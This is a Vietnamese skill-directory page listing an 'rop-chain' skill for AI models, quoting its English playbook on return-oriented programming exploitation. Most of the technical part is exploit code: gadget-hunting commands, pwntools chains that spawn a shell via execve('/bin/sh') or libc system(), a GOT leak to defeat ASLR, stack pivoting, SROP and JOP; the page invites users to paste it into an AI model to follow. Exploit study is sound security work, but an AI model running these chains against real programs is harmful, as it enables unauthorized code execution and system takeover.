Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14175

rop-chain

Skill này làm gì

Skill giải thích cách các đoạn mã nhỏ có sẵn trong chương trình có thể được nối lại với nhau khi cơ chế bảo vệ chặn việc chèn mã thông thường. Dành cho nhà phát triển khai thác và nhà nghiên cứu làm việc với chương trình được ủy quyền.

Khi nào nên dùng

  • ✓Khi nhà phát triển khai thác bị chặn bởi cơ chế bảo vệ stack không cho thực thi và cần hiểu các lựa chọn.
  • ✓Khi nhà nghiên cứu muốn liệt kê các đoạn mã hữu ích trong file nhị phân để phân tích.
  • ✓Khi người kiểm thử cần xem ASLR hoặc tính độc lập vị trí giới hạn chuỗi đã định ra như thế nào.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Cho tôi xem chương trình này dùng những cơ chế bảo vệ bộ nhớ nào và chúng có giới hạn những gì có thể làm với nó không.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Skill yêu cầu AI kiểm tra chương trình có những cơ chế bảo vệ nào, tìm trong đó các đoạn mã hữu ích và ghi chú các giới hạn mà những cơ chế đó đặt ra cho bất kỳ chuỗi nào.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

ROP Chain Construction Playbook

ROP (Return-Oriented Programming) and JOP (Jump-Oriented) repurpose existing code fragments ("gadgets") ending in ret / jmp <reg> to build arbitrary computation without injecting code. Required when NX/DEP prevents shellcode execution.

1. Inventory mitigations

Before building the chain, know what protections you face:

checksec --file=/tmp/binary
# Or
pwn checksec /tmp/binary

Output flags:

  • NX: stack non-executable → ROP needed
  • PIE: position-independent → need leak first
  • RELRO (partial/full): GOT writable / read-only
  • Canary: stack-cookie → leak/bypass needed
  • ASLR: addresses randomized → leak needed for libc/PIE

2. Gadget discovery

# ROPgadget (most common)
ROPgadget --binary /tmp/binary --depth 8 > /tmp/gadgets.txt

# Filter useful ones
grep ': pop rdi ; ret$' /tmp/gadgets.txt    # syscall arg1 setup
grep ': pop rsi ; ret$' /tmp/gadgets.txt    # syscall arg2 setup
grep ': pop rdx ; ret$' /tmp/gadgets.txt    # arg3
grep ': syscall ; ret$' /tmp/gadgets.txt    # syscall instruction
grep ': ret$' /tmp/gadgets.txt | head       # bare ret (stack alignment)

# Alternative: ropper
ropper --file /tmp/binary --search 'pop rdi'
ropper --file /tmp/binary --search 'syscall'

# Alternative: one_gadget for libc one-shot RCE
one_gadget /lib/x86_64-linux-gnu/libc.so.6

3. Common chain patterns

Direct execve("/bin/sh") via syscall (x86_64)

from pwn import *

# Gadgets from /tmp/binary
POP_RDI = 0x4011a3       # pop rdi ; ret
POP_RSI = 0x4011a1       # pop rsi ; ret
POP_RDX = 0x4011a5       # pop rdx ; ret
POP_RAX = 0x4011a7       # pop rax ; ret
SYSCALL = 0x4011a9       # syscall ; ret

# Target
BIN_SH  = 0x404060       # writeable .bss for "/bin/sh\x00"

chain = b''
# write "/bin/sh\0" to BIN_SH
chain += p64(POP_RAX) + p64(0x68732f6e69622f)  # /bin/sh in little-endian, no null at end
chain += p64(POP_RDI) + p64(BIN_SH)
# stos or mov [rdi], rax — need gadget
# (this needs more gadgets, see "write-what-where" section below)

# execve(BIN_SH, NULL, NULL)
chain += p64(POP_RAX) + p64(0x3b)    # SYS_execve = 59
chain += p64(POP_RDI) + p64(BIN_SH)
chain += p64(POP_RSI) + p64(0)
chain += p64(POP_RDX) + p64(0)
chain += p64(SYSCALL)

Via libc (if libc address leaked)

# Easier — call system("/bin/sh") in libc
libc_base = leaked_libc_addr - libc.symbols.puts   # offset from puts to base

chain = b''
chain += p64(POP_RDI) + p64(libc_base + next(libc.search(b'/bin/sh')))
chain += p64(libc_base + libc.symbols['system'])
# Some systems need a ret-aligning gadget for stack alignment before system
chain = p64(RET_GADGET) + chain

one_gadget (if conditions met)

one_gadget finds libc addresses that call execve("/bin/sh") with one jump, no setup. Constraints (e.g. [rsp+0x70] == NULL) must be met:

one_gadget libc.so.6
# 0x4527a constraints: ...
# 0xf03a4 constraints: ...

Pick the constraint that matches the state at your return point.

4. Write-what-where (when no leak available initially)

If you can't read libc directly:

  1. Find puts@plt in the binary
  2. Build a chain that calls puts(puts_got) — leaks libc's puts address
  3. Compute libc base from that
  4. Return to main (or any function that re-runs your chain) and now build the real execve chain
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main     = elf.symbols['main']

leak_chain  = p64(POP_RDI) + p64(puts_got)
leak_chain += p64(puts_plt)
leak_chain += p64(main)  # restart so we can re-input

5. Modern bypass techniques

Stack pivoting

When buffer overflow is small, pivot to a controlled larger region:

# Gadgets needed
POP_RBP = 0x...           # pop rbp ; ret
LEAVE_RET = 0x...         # mov rsp, rbp; pop rbp; ret

# Pivot to attacker-controlled buffer
chain = p64(LARGE_BUFFER - 8) + p64(LEAVE_RET)

Sigreturn-Oriented Programming (SROP)

Few gadgets available? SROP uses rt_sigreturn syscall to restore full CPU state from a sigframe on the stack — sets every register at once:

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = SYSCALL
chain = p64(POP_RAX) + p64(0xf) + p64(SYSCALL) + bytes(frame)

JOP (Jump-Oriented)

When ret-poisoning is hardened (CET / shadow stack), use jmp gadgets:

ROPgadget --binary /tmp/bin --jop

Pattern: dispatcher gadget calls each functional gadget via register. Harder to construc

Câu hỏi thường gặp

ROP nghĩa là gì?

Return-oriented programming tái sử dụng các đoạn mã có sẵn kết thúc bằng lệnh return để thực hiện hành động.

Vì sao điều này quan trọng với phòng thủ?

Hiểu các kỹ thuật này giúp nhà phát triển đánh giá cơ chế bảo vệ của họ có hiệu quả không.

Nó có hoạt động trên mọi chương trình không?

Không. Các cơ chế như ASLR, PIE và stack canary có thể giới hạn việc một chuỗi có thực tế hay không.

Chi tiết

Mô tả gốc của tác giả

ROP/JOP gadget hunting and exploit-chain construction — for NX/DEP bypass on x86/x64/ARM binaries.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14175
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự